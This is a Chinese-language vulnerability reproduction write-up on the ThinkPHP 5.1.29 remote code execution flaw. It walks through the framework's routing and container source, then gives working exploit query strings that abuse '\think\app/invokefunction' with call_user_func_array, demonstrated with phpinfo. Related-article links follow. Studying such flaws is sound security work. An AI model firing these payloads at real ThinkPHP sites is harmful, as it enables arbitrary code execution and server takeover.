Thinkphp5 RCE 复现

环境:

win10+wamp+thinkphp5.1.29

下载地址

源码分析

程序首先跳转到 public目录下的index.php,然后执行 thinkphp/library/think/app.php, 然后运行 run()函数。

public function run()
{
try {
// 初始化应用
$this->initialize(); // 监听app_init
$this->hook->listen('app_init'); if ($this->bindModule) {
// 模块/控制器绑定
$this->route->bind($this->bindModule);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bind($name);
}
} // 监听app_dispatch
$this->hook->listen('app_dispatch'); $dispatch = $this->dispatch; if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
} // 记录当前调度信息
$this->request->dispatch($dispatch); // 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
} // 监听app_begin
$this->hook->listen('app_begin'); // 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
); $data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
} $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
}); $response = $this->middleware->dispatch($this->request); // 监听app_end
$this->hook->listen('app_end', $response); return $response;
}

路由检测通过调用 当前类中的routeCheck()方法,去查看如何检测

 public function routeCheck()
{
// 检测路由缓存
if (!$this->appDebug && $this->config->get('route_check_cache')) {
$routeKey = $this->getRouteCacheKey();
$option = $this->config->get('route_cache_option'); if ($option && $this->cache->connect($option)->has($routeKey)) {
return $this->cache->connect($option)->get($routeKey);
} elseif ($this->cache->has($routeKey)) {
return $this->cache->get($routeKey);
}
} // 获取应用调度信息
$path = $this->request->path(); // 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must'); // 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must); if (!empty($routeKey)) {
try {
if ($option) {
$this->cache->connect($option)->tag('route_cache')->set($routeKey, $dispatch);
} else {
$this->cache->tag('route_cache')->set($routeKey, $dispatch);
}
} catch (\Exception $e) {
// 存在闭包的时候缓存无效
}
} return $dispatch;
}
   // 获取应用调度信息qwe
$path = $this->request->path();

这里是调用 request.php 中的 path() 方法。

 public function path()
{
if (is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo(); if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
} return $this->path;
}

查看当前类中的pathinfo()方法;

public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} elseif ('cli-server' == PHP_SAPI) {
$pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
} elseif ($this->server('PATH_INFO')) {
$pathinfo = $this->server('PATH_INFO');
} // 分析PATHINFO信息
if (!isset($pathinfo)) {
foreach ($this->config['pathinfo_fetch'] as $type) {
if ($this->server($type)) {
$pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
break;
}
}
} $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
} return $this->pathinfo;
}

look here

 $pathinfo = $_GET[$this->config['var_pathinfo']];

为pathinfo 设置初始值,$this->config['var_pathinfo'] 在 /config/app.php 中有设置,默认值为 ‘s’ ,可以利用 ?s 来传递路由信息。

继续查看run()方法.。

在检查完路由后,会记录路由和请求信息

// 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
} // 监听app_begin
$this->hook->listen('app_begin'); // 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
); $data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
} $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});

$data 被设置为 null ,然后返回 $dispatch->run();

这里的run(),是

thinkphp/library/think/route/dispatch/Module.php 函数init,和exec 的实例,

class Module extends Dispatch
{
protected $controller;
protected $actionName; public function init()
{
parent::init(); $result = $this->dispatch; if (is_string($result)) {
$result = explode('/', $result);
} if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false; if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
} // 模块初始化
if ($module && $available) {
// 初始化模块
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} // 是否自动转换控制器和操作名
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller; // 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); // 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName); return $this;
}
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init'); try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller')); if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
} $this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix'); if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action]; // 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName); // 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
} $this->app['hook']->listen('action_begin', $call); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data);
}); return $this->app['middleware']->dispatch($this->request, 'controller');
}
}

查看实例化控制器是如何操作的,对应代码,在app.php 里面

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
} throw new ClassNotFoundException('class not exists:' . $class, $class);
}

查看当前类中的 parseModuleAndClass 方法。

   protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
} $class = $this->parseClass($module, $layer, $name, $appendSuffix);
} return [$module, $class];
}

问题来了。

当name 以 \ 开始时 会被当作类名,如果存在此类,会返回 $this->__get($class);

当前类是继承 container 类的,__get()方法在其父类中 找到,(Container.php中)

  public function __get($name)
{
return $this->make($name);
}
public function make($abstract, $vars = [], $newInstance = false)
{
if (true === $vars) {
// 总是创建新的实例化对象
$newInstance = true;
$vars = [];
} $abstract = isset($this->name[$abstract]) ? $this->name[$abstract] : $abstract; if (isset($this->instances[$abstract]) && !$newInstance) {
return $this->instances[$abstract];
} if (isset($this->bind[$abstract])) {
$concrete = $this->bind[$abstract]; if ($concrete instanceof Closure) {
$object = $this->invokeFunction($concrete, $vars);
} else {
$this->name[$abstract] = $concrete;
return $this->make($concrete, $vars, $newInstance);
}
} else {
$object = $this->invokeClass($abstract, $vars);
} if (!$newInstance) {
$this->instances[$abstract] = $object;
} return $object;
}

make 方法 总是会实例化一个类 通过 $name 变量可以控制类名,并把他实例化。

继续审计thinkphp/library/think/route/dispatch/Module.php 中实例化类的操作,

注意查看这一句代码。

// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
} $this->app['hook']->listen('action_begin', $call); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

​ 获取实例化类对应的参数,然后通过invokeMethod 函数动态调用方法,这里面的逻辑可以自行查看。

下面给出exp

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=-1 index是对应的模块 \think\Container 以反斜线开头,这就是我们想要实例化的类 ,当然,这里的app是继承container 的 ,所以也可以成功。但在tp5.0 里面,只能使用上述payload invokefunction是想\think\Container类想要调用的方法, function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。

总结

第一次漏洞复现,对于如此庞大的源码都不知道该怎么审计,命名空间掌握不是很灵通,类之间的方法相互继承调用确实造成很多不便。

TP5 RCE的更多相关文章

  1. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  2. thinkphp5.x系列 RCE总结

    Thinkphp  MVC开发模式 执行流程: 首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块.控制器.操作方法调度信息 ...

  3. thinkphp 5.1框架利用及rce分析

    前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...

  4. TP5.0源生Excel导出

    PHPExcel类在TP5里边并不能很好的兼容,使用起来很麻烦. 不像是tp3.2那样直接import()加进来就能new,因为它里边的命名空间找不到.总是说undefined class. 如果是使 ...

  5. tp5页面输出时,搜索后跳转下一页的处理

    tp5页面输出时,搜索功能在跳转下一页时,如果不做任何处理,会返回原有是第二页输出的数据.为了保证跳转下一页时输出的是搜索到的数据,做以下处理. (要根据自己的搜索字段进行适当修改) 页面js代码,给 ...

  6. RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject

    catalogue . Java xStream . DynamicProxyConverter . java.beans.EventHandler . RCE via XStream object ...

  7. PHP FastCGI RCE Vul

    catalog . Introduction . nginx文件类型错误解析漏洞 . 针对直接公网开放的Fast-CGI攻击 . 通过FCGI API动态修改php.ini中的配置实现RCE 1. I ...

  8. tp5中的一些小方法

    // 当使用一个新页面替换当前页面的body后,body刷新了,所选择的select值就不能保存住,解决方法如下: 作业题目<select> <option>--请选择--&l ...

  9. tp5文件上传

    //tp5上传文件先 use think\File; //上传文件处理 $file = request()->file('file'); // 获取表单提交过来的文件 $error = $_FI ...

随机推荐

  1. Linux Centos7 安装Docker-CE

    先确保yum 是最新版本 执行: sudo yum update 添加docker源地址 sudo yum-config-manager --add-repo https://download.doc ...

  2. centos7虚拟机时间和本地时间相差8小时

    安装ntp和ntpdate 在安装centos7虚拟机的时候,已经将时区设置为了Asia/shanghai,但还是出现时间不准,相差了8小时 可以安装ntp和ntpdate,使用 NTP 公共时间服务 ...

  3. 编程福利:50本C语言电子书,你还怕没书看吗!

    推荐适合编程新手入门的几本经典的C语言书籍. 1.<C程序设计语言> C语言之父的著作,被称为C语言的的圣经.全球最经典的C语言教程.这本书最大的特点是精炼.读起来不会觉得"啰嗦 ...

  4. docker-阿里云加速

    系统版本 centos7 阿里云登录 ->容器镜像服务->镜像加速器 复制下面的直接执行即可     sudo mkdir -p /etc/docker sudo tee /etc/doc ...

  5. css选择器 兄弟选择器 相邻兄弟选择器 子元素选择器

    1.兄弟选择器: ~ 该选择器会选择当前元素之后的所有相邻指定元素(具有相同父元素的兄弟元素): .p ~ li{ color: blue; } <div> <p class=&qu ...

  6. 【转】Python3 正则表达式特殊符号及用法(详细列表)

    转载自鱼c论坛:https://fishc.com.cn/forum.php?mod=viewthread&tid=57691&extra=page%3D1%26filter%3Dty ...

  7. 使用Navicat远程连接阿里云ECS服务器上的MySQL数据库

    一.必须给服务器的安全组规则设置端口放行规则,在管理控制台中设置: 之后填写配置,授权对象是授权的IP,其中0.0.0.0/0为所有IP授权,之后保存; 二.Navicat使用的配置 在编辑连接处,要 ...

  8. wait/sleep的区别

    相同: 暂停线程,哪里停哪里开始 不同: wait      释放锁等待 sleep    不释放锁等待 wait .notfy. notfyAll 都是属于Object sleep 属于Thread

  9. C2. Balanced Removals (Harder) (幾何、思維)

    Codeforce 1237C2 Balanced Removals (Harder) (幾何.思維) 今天我們來看看CF1237C2 題目連結 題目 給你偶數個三維座標點,每次選其中兩點,如果兩點為 ...

  10. 关于机器翻译评价指标BLEU(bilingual evaluation understudy)的直觉以及个人理解

    最近我在做Natural Language Generating的项目,接触到了BLEU这个指标,虽然知道它衡量的是机器翻译的效果,也在一些文献的experiment的部分看到过该指标,但我实际上经常 ...